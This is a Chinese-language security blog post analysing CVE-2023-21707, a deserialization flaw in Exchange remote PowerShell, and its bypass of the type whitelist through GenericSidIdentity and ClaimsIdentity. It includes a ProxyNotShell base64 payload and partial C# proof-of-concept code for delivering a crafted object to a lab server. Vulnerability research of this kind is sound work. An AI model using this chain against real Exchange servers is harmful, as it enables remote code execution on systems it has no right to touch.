Microsoft Exchange PowerShell远程反序列化漏洞导致远程代码执行(CVE-2023-21707)

本文详细分析了CVE-2023-21707漏洞,它是CVE-2022-41082(ProxyNotShell)的新变种,利用Exchange PowerShell远程反序列化机制,通过GenericSidIdentity类型绕过白名单限制,最终实现远程代码执行。

Microsoft Exchange PowerShell远程反序列化导致RCE(CVE-2023-21707)

引言

在分析CVE-2022-41082(也称为ProxyNotShell)时,我们发现了这个漏洞,并在此博客中详细说明。然而,为了全面理解,我们强烈推荐阅读ZDI团队的详尽分析。

为了帮助理解,我们提供了CVE-2022-41082的可视化表示。

ProxyNotShell的sink点:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
//System.Management.Automation.InternalDeserializer.ReadOneObject()
internal object ReadOneObject(out string streamName)
{
    //...
    Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]
    if (null != targetTypeForDeserialization)
    {
        Exception ex = null;
        try
        {
            object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]
        }
    //...
}

在[2]处,如果targetTypeForDeserialization != null,它将调用LanguagePrimitives.ConvertTo()将原始obj转换为targetTypeForDeserialization指定的类型。

LanguagePrimitives.ConvertTo()方法在论文《Friday the 13th JSON Attacks》的PSObject gadget部分被引用。论文还讨论了利用此方法的几种可能方式:

  • 调用带1个参数的构造函数
  • 调用setter
  • 调用静态方法“Parse(string)” [方法3]
  • 调用自定义转换 [方法4]

漏洞CVE-2022-41082涉及使用LanguagePrimitives.ConvertTo()两次,采用不同方法。

第一次使用利用[方法4]重建XamlReader类型。为此,使用自定义转换方法Microsoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject(),它使用带有白名单的BinaryFormatter反序列化数据。如果反序列化类型恰好是System.Type,目标类型将是System.UnitySerializationHolder,它也在白名单上。

第二次,过程使用[方法3]启动对静态方法XamlReader.Parse(string)的调用,随后触发远程代码执行(RCE)漏洞。注意,XamlReader是从步骤1获取的反序列化类型。

CVE-2022-41082的最新补丁引入了新的UnitySerializationHolderSurrogateSelector,它在反序列化System.UnitySerializationHolder过程中验证目标类型。因此,不再可能利用此漏洞调用Type.Parse(string)。此修复有效降低了恶意行为者利用漏洞执行任意代码的风险。

新变种

深入查看LanguagePrimitives.ConvertTo()的[方法3],Exchange实现了自定义PowerShell类型转换:SerializationTypeConverter,方法SerializationTypeConverter.ConvertFrom()将直接调用DeserializeObject [3]:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase)
{
    return this.DeserializeObject(sourceValue, destinationType); //[3]
}
private object DeserializeObject(object sourceValue, Type destinationType)
{
    if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]
    {
        throw ex;
    }
    //...
    using (MemoryStream memoryStream = new MemoryStream(array))
    {
        AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
        try
        {
            int tickCount = Environment.TickCount;
            obj = this.Deserialize(memoryStream); //[5]
        //...
}
private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
{
    PSObject psobject = sourceValue as PSObject;
    //...
    object value = psobject.Properties["SerializationData"].Value; //[6]
    if (!(value is byte[]))
    {
        error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
        return false;
    }
    //...
    stringValue = psobject.ToString();
    serializationData = value as byte[];
    
}
        
internal object Deserialize(MemoryStream stream)
{
    bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
    return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]
}

在DeserializeObject中,方法CanConvert()将从原始PSObject获取SerializationData属性作为字节数组,如[6]所示,然后直接传递到SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize(),如[7]所示。

在ProxyNotShell的有效载荷中,SerializationData表示如下:

1
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>

通过使用白名单SerializationTypeConverter.allowedTypes(包含约1200个允许类型),可以防止反序列化到远程代码执行(RCE)。

仔细检查此白名单后,发现了41082的新变种,命名为CVE-2023-21707。白名单中的一个允许类型是Microsoft.Exchange.Security.Authentication.GenericSidIdentity。通过利用此白名单并包含特定允许类型,可以显著降低反序列化到RCE的风险。

GenericSidIdentity的继承树:

1
2
3
4
GenericSidIdentity
    ClientSecurityContextIdentity
        System.Security.Principal.GenericIdentity
            System.Security.Claims.ClaimsIdentity <---

如果你有.NET反序列化的先前经验,你会快速识别ClaimsIdentity类。此类包含在知名工具ysoserial.net的gadget链中。

Microsoft.Exchange.Security.Authentication.GenericSidIdentity是ClaimsIdentity的子类。在反序列化过程中,首先重建ClaimsIdentity对象,随后调用ClaimsIdentity.OnDeserializedMethod()。

这提供了利用机会,因为我们可以滥用此行为在第二次反序列化阶段触发RCE。

有效载荷传递

尽管底层bug仍然存在,但ProxyNotShell补丁的实现有效中和了先前在autodiscover入口点存在的SSRF漏洞。因此,先前的有效载荷发送方法不再可行。

经过几天的调查,我发现仍然可以远程访问/powershell入口点,尽管限制仅允许HTTP协议访问:

来源:https://learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-servers-using-remote-powershell?view=exchange-ps

以编程方式实现,我们可以使用WSManConnectionInfo和RunspaceFactory.CreateRunspace()建立到目标Exchange服务器的powershell会话:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
string userName = "john";
string password = "";
string uri = "http://exchange.lab.local/powershell";
PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));
WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);

wsmanConnectionInfo.AuthenticationMechanism = this.authType;
wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;
wsmanConnectionInfo.SkipCACheck = true;
wsmanConnectionInfo.SkipCNCheck = true;

this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);
this.runspace.Open();

之后,我们可以使用创建的runspace创建PowerShell会话并调用命令。为了传递有效载荷,我们可以将其作为参数传递,如下所示:

1
2
3
4
5
6
7
8
object payload = new Payload();
using (PowerShell powerShell = PowerShell.Create())
{
    powerShell.Runspace = this.runspace;
    powerShell.AddCommand("get-mailbox");
    powerShell.AddArgument(payload);
    powerShell.Invoke();
}

一个重要方面是,PowerShell.AddArgument(object)函数可以接受任何对象作为参数。

此步骤类似于在ProxyNotShell中制作有效载荷的过程,但不是手动制作,而是以编程方式进行。通过使用此函数,我们可以动态添加参数到PowerShell命令,这允许在我们的方法中具有更大的灵活性和定制性。

Payload类内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
using System;
public class Payload: Exception
{
    private byte[] _serializationData;

    public byte[] SerializationData
    {
        get => _serializationData;
        set => _serializationData = value;
    }

    public Payload(byte[] serializationData)
    {
        SerializationData = serializationData;
    }
}

为了确保正确功能,此类必须继承System.Exception类型,如本文详细解释。此外,类中必须包含名为SerializationData的公共属性,它将作为绕过gadgetchain GenericSidIdentity的容器。

为了实现此,我们生成GenericSidIdentity对象并将其m_serializedClaims字段值设置为实际的RCE gadgetchain,可以通过ysoserial创建。

虽然有多种方法完成此操作,但在我的概念证明中,我选择创建继承自GenericIdentity的新类:

并使用自定义序列化绑定器在序列化期间重写类名:

为了成功执行利用,需要满足某些先决条件:

  • 攻击者的机器应能访问目标Exchange服务器的端口80。
  • PowerShell入口点的认证方法必须是Kerberos(而不是NTLM),要求在运行利用时能访问域控制器的端口88。

注意,此利用对于面向互联网的Exchange服务器不可行,由于其技术限制。

以下图像详细说明了成功利用代码,包括执行证明和关于结果调用栈的信息。

感谢阅读!

演示

参考文献

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计